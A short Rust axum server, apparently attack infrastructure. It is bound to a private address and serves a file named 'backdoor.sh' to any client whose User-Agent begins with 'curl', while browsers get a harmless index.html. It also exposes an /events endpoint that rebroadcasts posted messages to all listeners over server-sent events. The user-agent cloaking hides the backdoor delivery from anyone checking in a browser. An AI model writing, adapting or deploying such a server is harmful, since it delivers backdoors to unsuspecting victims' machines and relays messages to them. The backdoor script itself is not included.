use axum::extract::State;
use axum::response::{sse::Event, Html, Sse};
use axum::routing::get;
use axum::Router;
use axum_extra::TypedHeader;
use headers::UserAgent;
use tokio::sync::broadcast;
use tokio_stream::wrappers::BroadcastStream;

#[derive(Clone)]
struct AppState {
    channel: broadcast::Sender<Event>,
}

impl AppState {
    fn new() -> Self {
        let (tx, _rx) = broadcast::channel(16);
        AppState { channel: tx }
    }
}

#[tokio::main]
async fn main() {
    let app = Router::new()
        .route("/", get(root))
        .route("/events", get(events_get).post(events_post))
        .with_state(AppState::new());

    let listener = tokio::net::TcpListener::bind("192.168.223.6:80")
        .await
        .unwrap();
    axum::serve(listener, app).await.unwrap();
}

async fn root(TypedHeader(user_agent): TypedHeader<UserAgent>) -> Html<&'static str> {
    if user_agent.as_str().starts_with("curl") {
        Html(std::include_str!("backdoor.sh"))
    } else {
        Html(std::include_str!("index.html"))
    }
}

async fn events_get(State(state): State<AppState>) -> Sse<BroadcastStream<Event>> {
    Sse::new(BroadcastStream::new(state.channel.subscribe()))
}

async fn events_post(State(state): State<AppState>, body: String) {
    let _ = state.channel.send(Event::default().data(body));
}